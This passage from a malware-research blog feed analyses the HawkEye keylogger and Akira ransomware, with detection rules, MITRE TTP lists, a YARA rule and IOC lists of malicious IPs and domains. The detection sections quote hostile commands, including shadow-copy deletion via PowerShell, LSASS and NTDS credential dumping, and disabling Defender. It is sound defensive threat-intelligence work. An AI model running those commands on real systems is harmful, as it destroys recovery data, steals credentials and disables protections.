markets, offering it for very low payments compared to the standard price, which as we mentioned earlier, ranged from $20 to $50.</p><p><img src="https://github.com/user-attachments/assets/fa77057c-7ca3-40eb-8db4-38a16c382d6c" alt="image"></p><p>It’s always important with these kinds of tools to locate the original software in different versions to understand how it works from both the victim’s and the attacker’s perspectives, so we can get a complete view of the malware</p><p>Here, we can see that the builder provides a multitude of configuration options, allowing us to choose where to send the stolen information (email, FTP, etc.), what we want to collect (browser info, FTP credentials, mail, etc.), whether to check for certain tools, establish persistence, delete data, download from a domain (this could function as a downloader for other malware), change the payload data to make it appear like legitimate software (e.g., changing the icon, description, etc.). As you can see, it’s incredibly comprehensive. After compiling, we’ll have our complete Keylogger, Stealer, or Downloader (call it what you will, as it does everything) ready to use.</p><p><img src="https://github.com/user-attachments/assets/ffc71257-0097-47da-899c-8de2fc19d847" alt="image"></p><p>I don’t want to repeat myself too much, but when comparing the versions we’ve seen and extracted with the ones we created ourselves, they function exactly the same—same injections, persistence, data theft (or whatever was chosen in the builder). Therefore, in telemetry, we won’t find any surprises, as you can see below.</p><p><img src="https://github.com/user-attachments/assets/0415bd7e-7520-454b-b91c-413899d34df2" alt="image"></p><p>After analyzing all of this, I hope you are as impressed as I am by the sheer versatility and longevity HawkEye has displayed over the decades. It’s truly a tremendously powerful and easy-to-use tool that, unfortunately, we will continue to see in security incidents from actors of all types.</p><p>Finally, I would like to thank you for reading this analysis and for supporting me :)</p><br><h1 id="Detection-Opportunities"><a href="#Detection-Opportunities" class="headerlink" title="_Detection Opportunities"></a>_Detection Opportunities</h1><ul><li>[TA0005][T1036] Duplication of original files in temporary paths</li></ul><pre class="line-numbers language-none"><code class="language-none">(WriteFile) C:\Users\&lt;user&gt;\AppData\Local\Temp\*.exe(WriteFile) C:\Users\&lt;user&gt;\AppData\Roaming\*.exe(WriteFile) C:\Users\&lt;user&gt;\AppData\Roaming\Microsoft\Windows\Templates\*.exe(WriteFile) C:\Users\&lt;user&gt;\AppData\Local\Temp\System\*.exe(WriteFile) C:\Users\&lt;user&gt;\Music\*.exe<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre><br><ul><li>[TA0003][T1053] Scheduled Task persistence</li></ul><pre class="line-numbers language-none"><code class="language-none">schtasks.exe &#x2F;Create &#x2F;TN &quot;&lt;Path&gt;\&lt;TaskName&gt;&quot; &#x2F;XML &quot;&lt;TempPath&gt;\&lt;File&gt;&quot;<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><br><ul><li>[TA0003][T1547.001] Registry Run Keys persistence</li></ul><pre class="line-numbers language-none"><code class="language-none">(Registry) HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run (ValueData) &lt;Path Used on [TA0005][T1036] Duplication of original files in temporary paths&gt;<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><br><ul><li>[TA0005][T1055.012] Process injection on vbc or itself</li></ul><pre class="line-numbers language-none"><code class="language-none">From file in temporary folder &gt; injection &gt; vbc.exe From file in temporary folder &gt; injection &gt; Other unidentified file in same temporary path<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><br><ul><li>[TA0009][T1074.001] Save stolen info on txt files</li></ul><pre class="line-numbers language-none"><code class="language-none">\vbc.exe &#x2F;stext &quot;*\AppData\Local\Temp\holdermail.txt&quot;<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><br><ul><li>[TA0009][T1113] Saving screenshots of the victim’s screen</li></ul><pre class="line-numbers language-none"><code class="language-none">(WriteFile &#x2F; Regex NameFile) screenshot\d&#123;1&#125;.jpeg<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><br><ul><li>[TA0006][T1555] Queries to browser paths or third-party software to obtain user account information</li></ul><pre class="line-numbers language-none"><code class="language-none">(Registry&#x2F;Path query) Web Data | login data | Accounts | Profiles  | \Cookies\index.dat | profiles.ini | *.oeaccount<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><br><h1 id="TTP"><a href="#TTP" class="headerlink" title="_TTP"></a>_TTP</h1><pre class="line-numbers language-none"><code class="language-none">[TA0001][T1566.001] SpearPhishing[TA0002][T1204] User Execution[TA0003][T1053] Scheduled Task&#x2F;Job[TA0003][T1547.001] Registry Run Keys &#x2F; Startup Folder[TA0005][T1112] Modify Registry[TA0005][T1564.001] Hidden Files and Directories[TA0005][T1055] Process Injection[TA0005][T1562] Impair Defenses[TA0005][T1027] Obfuscated Files or Information[TA0005][T1140] Deobfuscate&#x2F;Decode Files or Information[TA0005][T1036] Masquerading[TA0005][T1497] Virtualization&#x2F;Sandbox Evasion[TA0006][T1552] Unsecured Credentials[TA0006][T1555] Credentials from Password Stores[TA0007][T1087] Account Discovery[TA0007][T1518.001] Security Software Discovery[TA0007][T1033] System Owner&#x2F;User Discovery[TA0007][T1012] Query Registry[TA0007][T1016] System Network Configuration Discovery[TA0007][T1518] Software Discovery[TA0007][T1082] System Information Discovery[TA0009][T1074.001] Local Data Staging[TA0009][T1005] Data from Local System[TA0009][T1560] Archive Collected Data[TA0009][T1114] Email Collection[TA0009][T1115] Clipboard Data[TA0009][T1113] Screen Capture[TA0011][T1105] Ingress Tool Transfer[TA0011][T1071] Application Layer Protocol[TA0011][T1571] Non-Standard Port[TA0042][T1583.008] Malvertising<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><br><h1 id="IOC"><a href="#IOC" class="headerlink" title="_IOC"></a>_IOC</h1><pre class="line-numbers language-none"><code class="language-none">60fabd1a2509b59831876d5e2aa71a6bdefc51f31f6c4fa89cc6a39a62d8a08fdea59d578e0e64728780fb67dde7d96d040058f70ffdee6398f7b64ae1ea46d3e651dca5c850451cdba7f25cbb4134e7de823ba5d67de8682e6d7b8b472dbbcb25a2d98dfcf6a12ea6459882c56aa2e0179b219afa2ac15b14affd399273148b38a3cb547a0a19a61534792f572f08b0addcd85e0126e63e46da09eb8ea971200a2f6501a36c1b13532139e3c1843109addcd85e0126e63e46da09eb8ea9712006916c9505da82f63a73768c6f336192ab264deb2563dc4df8b281b18e0861ba66.147.236[.]46204.141.42[.]56129.204.194[.]84<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre>]]></content>
    
    
    <summary type="html">&lt;h1 id=&quot;Overview&quot;&gt;&lt;a href=&quot;#Overview&quot; class=&quot;headerlink&quot; title=&quot;_Overview&quot;&gt;&lt;/a&gt;_Overview&lt;/h1&gt;&lt;p&gt;⚠️[You can also find this in collaboration with &lt;a href=&quot;https://any.run/cybersecurity-blog/hawkeye-malware-technical-analysis/?utm_source=twitter&amp;utm_medium=post&amp;utm_campaign=hawkeye_analysis&amp;utm_content=linktoblog&amp;utm_term=131124&quot;&gt;Any.Run on their blog&lt;/a&gt; :)]⚠️&lt;/p&gt;
&lt;p&gt;HawkEye, also known as PredatorPain (Predator Pain), is a malware categorized as a keylogger, but over the years, it has adopted new functionalities that align it with the capabilities of other tools like stealers. It emerged before 2010, with records of its use and sale dating back to 2008, making it quite long-lived. After several spear-phishing campaigns in which this well-known malware was attached, it gained significant popularity starting in 2013. This keylogger has been available on various dark web sites, even having dedicated websites where the tool was sold. However, this keylogger has been cracked for years and used by different actors without going through the subscription method imposed by its creators, whose price ranged between $20 and $50. This has contributed to its continued notoriety, and it has been used not only by criminal actors but also by script kiddies due to its ease of use.&lt;/p&gt;
&lt;p&gt;Although it is not one of the most widely used malwares, it remains in active use and saw a significant resurgence during the COVID period. During this time, certain actors took advantage of the general hysteria to obtain company data through phishing campaigns. Additionally, HawkEye has been used in conjunction with other loaders and&amp;#x2F;or malware that invoked this keylogger. Over its long trajectory, various actors and malware have been involved in attacks on companies, some of which include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;GOLD GALLEON ( 🏴 )&lt;/li&gt;
&lt;li&gt;Mikroceen ( 🇨🇳 )&lt;/li&gt;
&lt;li&gt;iSPY crypter related with Gold Skyline ( 🇳🇬 )&lt;/li&gt;
&lt;li&gt;Remcos used on campaigns with HawkEye&lt;/li&gt;
&lt;li&gt;Pony used on campaigns with HawkEye (&lt;a href=&quot;https://rexorvc0.com/2024/02/04/Pony_Fareit/&quot;&gt;Hey, we’ve already analyzed Pony!&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;Get Rich or Die ( 🇳🇬 )&lt;/li&gt;
&lt;li&gt;Uche y Okiki ( 🇳🇬 )&lt;/li&gt;
&lt;/ul&gt;</summary>
    
    
    
    <category term="Quick-Research" scheme="https://rexorvc0.com/categories/Quick-Research/"/>
    
    
    <category term="Malware" scheme="https://rexorvc0.com/tags/Malware/"/>
    
    <category term="Stealer" scheme="https://rexorvc0.com/tags/Stealer/"/>
    
    <category term="Keylogger" scheme="https://rexorvc0.com/tags/Keylogger/"/>
    
  </entry>
  
  <entry>
    <title>Akira - The old-new style crime</title>
    <link href="https://rexorvc0.com/2024/06/19/Akira-The-Old-New-Style-Crime/"/>
    <id>https://rexorvc0.com/2024/06/19/Akira-The-Old-New-Style-Crime/</id>
    <published>2024-06-19T06:00:00.000Z</published>
    <updated>2025-03-30T20:22:36.872Z</updated>
    
    <content type="html"><![CDATA[<h1 id="Overview"><a href="#Overview" class="headerlink" title="_Overview"></a>_Overview</h1><p>⚠️This is only a small excerpt from the original report, which can be found in the corresponding section, the report has been created thanks to the collaboration of Josh Penny [@josh_penny]⚠️</p><p>Akira is a Threat Actor (TA) categorized within the criminal groups related to Ransomware, whose main objective is to gain money through extortion. The attack procedures of the Akira gang have varied over time since their first appearance in 2022. Since this date, they have been increasing their list of victims by following methodologies similar to other criminal groups. Akira is one of the principal TAs in terms of victims in recent years, consistently rising annually in the TOPs</p><p>The TA has utilized different tools such as malware and vulnerability exploitation during their attacks. Depending on the victims, we have observed phases aimed at avoiding detection, lateral movements, and various exfiltration methods that have evolved and adapted to their needs. The crown jewel of their operations is the use of the ransomware that gives them their name: Akira</p><p>The malware has also undergone significant changes over time. However, as we will see below, its core functionality has not varied greatly. It retains various capabilities such as controlling disk drives, managing running processes, multi-threaded operation, and, of course, encrypting files and writing ransom notes on the victim’s devices</p><p>Akira maintains a close relationship with Conti, the ransomware used by WizardSpider. In fact, the code of Akira’s ransomware in some parts is an evolution or another version of the famous ransomware used by the Russian group. Therefore, the community often considers Akira a subgroup of WizardSpider. Additionally, Akira has also been seen to have a close relationship with anothers famous ransomware gangs like BlackByte, Lockbit or Snatch</p><span id="more"></span><h1 id="Technical-Analysis"><a href="#Technical-Analysis" class="headerlink" title="_Technical Analysis"></a>_Technical Analysis</h1><p>As mentioned earlier, the methods of intrusion have evolved over time. However, the summary that can be drawn from their KillChain could be the following:</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/2d2eb5b9-1ecc-4992-83cc-53e640eff028" alt="image"></p><p>During the analysis of Akira samples, a multitude of samples have been considered in order to locate all available versions, with the intention of better understanding its operation and to exercise a more detailed view of all of them, as well as better detection opportunities based on both the group’s behavior and the samples used in their attacks</p><p>The general behaviour of the samples, taking into account certain differences, would be given by the following thread: </p><ul><li><p>After the sample is executed, Akira will obtain information from the affected device, such as machine name, get the timezone, etc.</p></li><li><p>Afterwards, it will extract the available commands that can be used to execute the sample and start building a log where it will eventually write based on errors, problems, or useful information about the tasks it is performing. The log will only be present in some versions</p></li><li><p>Subsequently, it will start extracting the disks installed on the device and retrieve the internal list of directories and extensions that it will use later. It will also construct a PowerShell command to delete the shadow copies and, depending on the version, will either create the public AES key directly or, alternatively, load AES library and functions in memory and perform the same behaviour at runtime</p></li><li><p>After this, Akira will create multiple threads that will simultaneously enter the folders of each disk. It will check, based on its internal list, whether it wants to access each folder, and then check all files against another list to see if it can affect them, while also dropping the ransom note. Meanwhile, it will open the files it wants to work on and encrypt them using ChaCha. Once completed, it will change their extensions</p></li></ul><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/93600916-7a34-46a1-835f-217ea0f967cf" alt="image"></p><p>The general functionality of the ransomware sample involves a preparation phase where it gathers information about the affected device. Depending on the version, it also creates a LOG in the folder where the sample is executed and retrieves usable commands from Akira.</p><p>After this preliminary phase, it focuses on first identifying which drives are available on the affected device, which is very common in this type of malware. It will enumerate and store the drives, and this behavior is similar in most of the analyzed samples</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/cc98b343-82cd-4efb-b772-6df48932e9eb" alt="image"></p><p>After this, it will perform various routines to obtain both the extensions and the name of the ransom note, saving them along with different file extensions.</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/06475482-688b-4d81-a6d8-efd73176552f" alt="image"></p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/14e692b5-ef6f-4a5a-86f4-8098313ce2e4" alt="image"></p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/adbec146-59ad-4b17-b777-9a360772c2b2" alt="image"></p><p>These extensions will be used in different ways, controlling both these and the folders it can access, file sizes depending on extensions, etc.</p><p>Following this, it will monitor the processes that are currently running, listing and saving them, and then compare them with its previously extracted internal list</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/4b3aa93c-7f0e-4899-b32b-5e42b0777981" alt="image"></p><p>Afterwards, it will perform a very important routine for deleting shadow copies and preventing system recovery, but in a manner quite different from the ShellExecute methods we are accustomed to or similar technique, but, the result is the execution of a powershell that deletes them using WMI</p><pre class="line-numbers language-none"><code class="language-none">Powershell.exe -Command  &quot;Get-WmiObject Win32_ShadowCopy | Remove-WmiObject&quot;<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/37c96315-1d05-4a71-a185-9707a4dc621d" alt="image"></p><p>After this, it will carry out various functions focused on creating and managing multithreading, followed by an extensive routine where it will perform various tasks, including the creation of the Readme file. To do this, Akira will work with multiple threads validates entering the first disk, checking each folder, while simultaneously writing and validating</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/49d1528b-51eb-40db-bfcc-b2b3d7eb11d1" alt="image"></p><p>So, ultimately, we will see, on one hand, how it has loaded the ransom note, how it is comparing the file extensions with its internal list</p><p>Once it has checked if it should access the path, since it already has the content loaded and the name of the ransom note file prepared, it is only worth noting that in the paths it can traverse, it will leave a copy, not just in root paths or on the desktop. The friendly attackers will leave you an address for you to access and communicate with them and pay them, classic</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/91de2d03-393d-472b-8920-66785014a52c" alt="image"></p><p>After running the ransom note file in parallel, checking access to folders, and determining which files it can affect, Akira also verifies the file size before proceeding to perform the encryption. It is worth noting that the ransomware operates on multiple files simultaneously, which means that it manages several handles for different files concurrently, as it works with them</p><p><img src="https://github.com/vc0RExor/Quick-Analysis/assets/91592110/2a06badf-8a6b-4391-8dee-ab7159bb71ab" alt="image"></p><p>After this, all the files will be affected, and you will either have to rely on backups if you have them or pay (which is not recommended)</p><p><br><br></p><h1 id="Report"><a href="#Report" class="headerlink" title="_Report"></a>_Report</h1><!DOCTYPE html><html lang="en"><head>    <meta charset="UTF-8">    <meta http-equiv="X-UA-Compatible" content="IE=edge">    <meta name="viewport" content="width=device-width, initial-scale=1.0">    <title>Visor de PDF</title></head><body>    <iframe src="https://mozilla.github.io/pdf.js/web/viewer.html?file=https://raw.githubusercontent.com/vc0RExor/Malware-Threat-Reports/ffd562cece69b5b84a319e6a8057d4d19f5b4f60/Ransomware/Akira/Akira-The_old_new_style_crime_EN_Aaron_Jornet.pdf" width="100%" height="1200"></iframe></body></html><p><br><br></p><h1 id="Detection-Opportunities"><a href="#Detection-Opportunities" class="headerlink" title="_Detection Opportunities"></a>_Detection Opportunities</h1><ul><li>[TA0002][T1059] Execution via commandline of the sample based on AKIRA parameter</li></ul><p>Local or remote execution (T1021 could also fit) of the Akira sample</p><pre class="line-numbers language-none"><code class="language-none">(Process) powershell.exe | cmd.exe &gt; (Command) \-\-encryption\_path|\-p|\-\-share\_file|\-s|\-\-localonly|\-l|\-\-encryption\_percent|\-n(Process) powershell.exe | cmd.exe &gt; (Command) (\-\-encryption\_path|\-p|\-\-share\_file|\-s|\-\-localonly|\-l|\-\-encryption\_percent|\-n).*\&#x3D;\\\\\d&#123;1,3&#125;\.\d&#123;1,3&#125;\.\d&#123;1,3&#125;\.\d&#123;1,3&#125;.*<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><ul><li>[TA0009][T1074] Log control creation by Akira</li></ul><p>Creation of a control log by Akira</p><pre class="line-numbers language-none"><code class="language-none">(File-Write) [Ll]og\-\d&#123;2&#125;\-\d&#123;2&#125;\-\d&#123;4&#125;\-\d&#123;2&#125;\-\d&#123;2&#125;\-\d&#123;2&#125;\.txt<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><ul><li>[TA0040][T1490] Delete shadows using WMI[TA0040][T1490] Delete shadows using WMI</li></ul><p>Akira uses powershell to run a WMI command and delete shadow copies</p><pre class="line-numbers language-none"><code class="language-none">(Process) powershell.exe &gt; (Command) powershell.exe -Command &quot;Get-WmiObject Win32_Shadowcopy | Remove-WmiObject&quot;<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><ul><li>[TA0040][T1486] Write readme file by Akira</li></ul><p>Creation of the ransomware file by Akira</p><pre class="line-numbers language-none"><code class="language-none">(File-Write) Akira_Readme.txt | help-you.txt<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><ul><li>[TA0006][T1136] Account creation prior to attack</li></ul><p>Accounts are created for better management of targeted infrastructure prior to impacts</p><pre class="line-numbers language-none"><code class="language-none">(Process) cmd.exe &gt; (Command) cmd\.exe\s+\&#x2F;[qQ]\s+\&#x2F;[cC]\s+net\s+user\s+\&#x2F;(dom|domain|add)\s+\d\&gt;.*\\\\\d&#123;1,3&#125;\.\d&#123;1,3&#125;\.\d&#123;1,3&#125;\.\d&#123;1,3&#125;<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><ul><li>[TA0006][T1003] Dumping credentials via LSASS, SAM &amp; NTDS</li></ul><p>Credentials are dumped in different ways to obtain more users</p><pre class="line-numbers language-none"><code class="language-none">(Command) cmd*&#x2F;c*comsvcs.dll, MiniDump*lsass*full(Command) cmd*&#x2F;c*-c -i*\NTDS\*-o*(Command) cmd*&#x2F;c*-c -i*\SYSTEM*-o*(Command) ntdsutil*ac i ntds*ifm*createfull*q q<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span></span></code></pre><ul><li>[TA0007][T1087] AD account discovery</li></ul><p>Akira queries to obtain the maximum knowledge of the Active Directory and hence the infrastructure</p><pre class="line-numbers language-none"><code class="language-none">(Command) (Get-ADComputer|Get-AdUser)\s+\-Filter.*\-Prop.*Select-Object.*<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><ul><li>[TA0005][T1562] Modify FW and disable defenses</li></ul><p>Firewall is modified as well as native security elements are disabled to avoid complications in execution or Exfiltration</p><pre class="line-numbers language-none"><code class="language-none">(Command) netsh advfirewall firewall add rule name&#x3D;*dir&#x3D;*protocol&#x3D;TCP*localport&#x3D;*action&#x3D;allow(Command) Set-MpPreference -DisableRealtimeMonitoring $true<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><ul><li>Control over the tools used by Akira</li></ul><p>Akira uses in all its killchain a large number of tools, it is necessary to have them under control (knowing the parameters they use, internal names, etc.) The following are the tools they has used</p><pre class="line-numbers language-none"><code class="language-none">Mimikatz | LaZagne | AnyDesk | Radmin | RustDesk | PCHunter | AdFind | PowerTool | WinSCP | Rclone | FileZilla | SharpHound | MASSCAN | AdvancedIPScannere.g. (Tool-Name) Mimikatz &gt; (Parameters) (lsadump::|sekurlsa::|sid::|token::|dpapi::|vault::|crypto::|misc::|kerberos::|privilege::)<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><ul><li>Yara</li></ul><p>This Yara is a bit generic as I don’t like to publish super strict rules so that we don’t get caught in the detection, sorry for that</p><pre class="line-numbers language-none"><code class="language-none">rule TA_Ransomware_Akira&#123;meta:description &#x3D; &quot;Akira: The old-new style crime&quot;category &#x3D; &quot;Ransomware&quot;author &#x3D; &quot;vc0rexor&quot;reference &#x3D; &quot;&quot;date &#x3D; &quot;2024-06-01&quot;strings:$a1 &#x3D; &quot;expand 32-byte&quot; wide ascii nocase$a2 &#x3D; &quot;akira&quot; ascii nocase$a3 &#x3D; &quot;onion&quot; ascii nocase$a4 &#x3D; &quot;TOR browser&quot; fullword ascii nocase $a5 &#x3D; &quot;--encryption_path&quot; wide ascii nocase$a6 &#x3D; &quot;--encryption_percent&quot; wide ascii nocase$a7 &#x3D; &quot;CreateThread&quot; fullword ascii nocase$a8 &#x3D; &quot;CreateIoCompletionPort&quot; fullword ascii nocase $a9 &#x3D; &quot;AcquireSRWLockExclusive&quot; fullword ascii nocase $a10 &#x3D; &quot;GetCurrentThreadId&quot; fullword ascii nocase $a11 &#x3D; &quot;GetLogicalDriveStrings&quot; fullword ascii nocase$a12 &#x3D; &quot;GetQueuedCompletionStatus&quot; fullword ascii nocase$a13 &#x3D; &quot;encrypt&quot; ascii nocase$a14 &#x3D; &quot;thread pool&quot; fullword ascii nocase$a15 &#x3D; &quot;failed&quot; wide ascii nocase$a16 &#x3D; &quot;System Volume Information&quot; fullword ascii nocase$a17 &#x3D; &quot;Paths Finded&quot; fullword ascii nocase$b1 &#x3D; &#123; 0f 11 45 ?? 0f 57 c9 f3 0f 7f 4d ?? 4c 63 c0 33 d2 48 8d 4d ?? e8 ?? ?? fe ff 48 8d 4d ?? 48 83 7d ?? 08 48 0f 43 4d ?? 4c 8d 45 ?? 48 83 7d ?? 10 4c 0f 43 45 ?? 8b 45 ?? 89 44 24 28 48 89 4c 24 20 44 8b 4d ?? 33 d2 33 c9 ff 15 ?? ?? ?? 00 0f 10 45 ?? 0f 11 45 ?? 0f 10 4d ?? 0f 11 4d ?? 66 0f 6f 05 ?? ?? ?? 00 f3 0f 7f 45 ?? 66 89 ?? ?? &#125;$b2 &#x3D; &#123; 8b c7 0f 57 c0 0f 11 44 24 ?? 4c 89 74 24 ?? 4d 8b c7 4c 89 74 24 ?? 48 8d 0c 40 48 8b ?? 24 ?? &#125;$b3 &#x3D; &#123; 48 8d ?? 27 48 83 ?? e0 48 89 ?? f8 48 89 ?? ?? ?? 8d ?? 00 20 00 00 ?? 89 ?? ?? 33 d2 41 b8 00 20 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? b9 04 01 00 00 ff 15 ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 ?? ?? ?? ?? ?? 8d ?? ?? 66 66 66 0f 1f 84 00 00 00 00 00 &#125;$b4 &#x3D; &#123; 0f b7 90 d2 03 00 00 48 8b 84 d0 d8 03 00 00 0f b7 90 d2 03 00 00 48 8b 84 d0 d8 03 00 00 0f b7 90 d2 03 00 00 48 8b 84 d0 d8 03 00 00 0f b7 90 d2 03 00 00 48 8b 84 d0 d8 03 00 00 0f b7 90 d2 03 00 00 48 8b 84 d0 d8 03 00 00 0f b7 90 d2 03 00 00 48 8b 84 d0 d8 03 00 00 0f b7 90 d2 03 00 00 48 8b 84 d0 d8 03 00 00 0f b7 90 d2 03 00 00 48 8b 84 d0 d8 03 00 00 48 83 c1 f8 &#125;$b5 &#x3D; &#123; 48 8b 4e ?? e8 ?? ?? ?? 00 48 8d 7c 24 20 48 89 07 48 89 f9 e8 ?? ?? ?? ?? 48 8b 46 28 48 89 47 10 0f 10 46 18 0f 29 07 48 8b 0e e8 ?? ?? ?? 00 48 8d 7c 24 20 48 89 f9 e8 ?? ?? ?? ?? 48 8b 5e 08 48 8d 4b 18 e8 ?? ?? ?? ?? 48 c7 43 18 01 00 00 00 48 83 63 20 00 48 8b 46 08 48 89 07 48 8d 4c 24 20 e8 ?? ?? ?? ?? 90 48 83 c4 40 5b 5f 5e &#125;condition:filesize &gt; 500KBand filesize &lt; 1100KBand (8 of ($a*) and 2 of ($b*))and uint16(0) &#x3D;&#x3D; 0x5a4d &#125;<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><br><h1 id="IOC"><a href="#IOC" class="headerlink" title="_IOC"></a>_IOC</h1><pre class="line-numbers language-none"><code class="language-none">2CDA932F5A9DAFB0A328D0F9788BD89C64F8E1B825887AFE3130AF4BF4611C21A18D79E94229FDF02EF091CF974ED5463F63951399F8CD578E2A6FAED2C9C0F04EDC0EFE1FD24F4F9EA234B83FCAEB6AC2CBBD6E392A453A47DA69D086756E719F801240AF1124B66DEFCD4B4AE63F2AFD380DB23531BB7BB610A7B32FC2A6D5BD046164DAF3C30E265D4F9C6647F6307ca94d84f4a02fb1f608818c1c3ab62d11a6a4bfa63286feaeaf2c231ce769c3Adf426e30f8a3383c6696d2f142907d3F9a3a00b8772103ca109662b32d01934495afbc7ebae07d50c529c1bd5889f54491f619c358382872f87e1479c145a5e0c706908df97857255252837ac1b90c9D24cd19a50e6d574a0cfdfc07c6d22bb91[.]132[.]92[.]60138[.]124[.]184[.]174148[.]72[.]168[.]13148[.]72[.]171[.]171199[.]127[.]60[.]23645[.]227[.]254[.]2680[.]66[.]88[.]20391[.]240[.]118[.]29152[.]89[.]196[.]111194[.]26[.]29[.]102185[.]11[.]61[.]11423[.]83[.]133[.]10423[.]108[.]57[.]15164[.]44[.]102[.]19020[.]99[.]133[.]10920[.]99[.]185[.]4813[.]107[.]4[.]50192[.]229[.]211[.]10823[.]216[.]147[.]6423[.]216[.]147[.]7664[.]44[.]135[.]135162[.]159[.]130[.]233162[.]159[.]134[.]233162[.]159[.]133[.]233108[.]177[.]127[.]94108[.]177[.]119[.]95108[.]177[.]126[.]13223[.]106[.]215[.]21023[.]108[.]57[.]1157[.]254[.]194[.]9923[.]106[.]123[.]1523[.]82[.]140[.]1023[.]106[.]215[.]6423[.]108[.]57[.]24023[.]19[.]58[.]9423[.]108[.]57[.]9423[.]81[.]246[.]200108[.]62[.]118[.]19723[.]106[.]160[.]14123[.]106[.]223[.]200108[.]62[.]118[.]18023[.]82[.]140[.]122108[.]177[.]235[.]18764[.]44[.]102[.]20745[.]147[.]230[.]8364[.]44[.]102[.]13364[.]44[.]102[.]127108[.]62[.]141[.]24364[.]44[.]102[.]19108[.]62[.]118[.]13164[.]44[.]98[.]23223[.]108[.]57[.]213jotuhup[.]comzuvebeb[.]comceyuvigi[.]comnaporiz[.]comxafehot[.]comnatuzujut[.]compucaxejun[.]comnapajep[.]comnemucefah[.]comjotuhup[.]comjugiruturi[.]compijixepi[.]comjahojahi[.]comhakakebero[.]comvezawahoy[.]comsakogabu[.]comxamayojir[.]comtevokaxol[.]comdanimos[.]comvosuxizen[.]comlugociyah[.]comduladani[.]combukifide[.]comwijakezada[.]comyuzowul[.]comdehelibe[.]comyavahiyil[.]comrikukof[.]comrabihino[.]comtalulime[.]comhttp[:]&#x2F;&#x2F;repairdll[.]net&#x2F;jHKIOEyC&#x2F; <span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre>]]></content>
    
    
    <summary type="html">&lt;h1 id=&quot;Overview&quot;&gt;&lt;a href=&quot;#Overview&quot; class=&quot;headerlink&quot; title=&quot;_Overview&quot;&gt;&lt;/a&gt;_Overview&lt;/h1&gt;&lt;p&gt;⚠️This is only a small excerpt from the original report, which can be found in the corresponding section, the report has been created thanks to the collaboration of Josh Penny [@josh_penny]⚠️&lt;/p&gt;
&lt;p&gt;Akira is a Threat Actor (TA) categorized within the criminal groups related to Ransomware, whose main objective is to gain money through extortion. The attack procedures of the Akira gang have varied over time since their first appearance in 2022. Since this date, they have been increasing their list of victims by following methodologies similar to other criminal groups. Akira is one of the principal TAs in terms of victims in recent years, consistently rising annually in the TOPs&lt;/p&gt;
&lt;p&gt;The TA has utilized different tools such as malware and vulnerability exploitation during their attacks. Depending on the victims, we have observed phases aimed at avoiding detection, lateral movements, and various exfiltration methods that have evolved and adapted to their needs. The crown jewel of their operations is the use of the ransomware that gives them their name: Akira&lt;/p&gt;
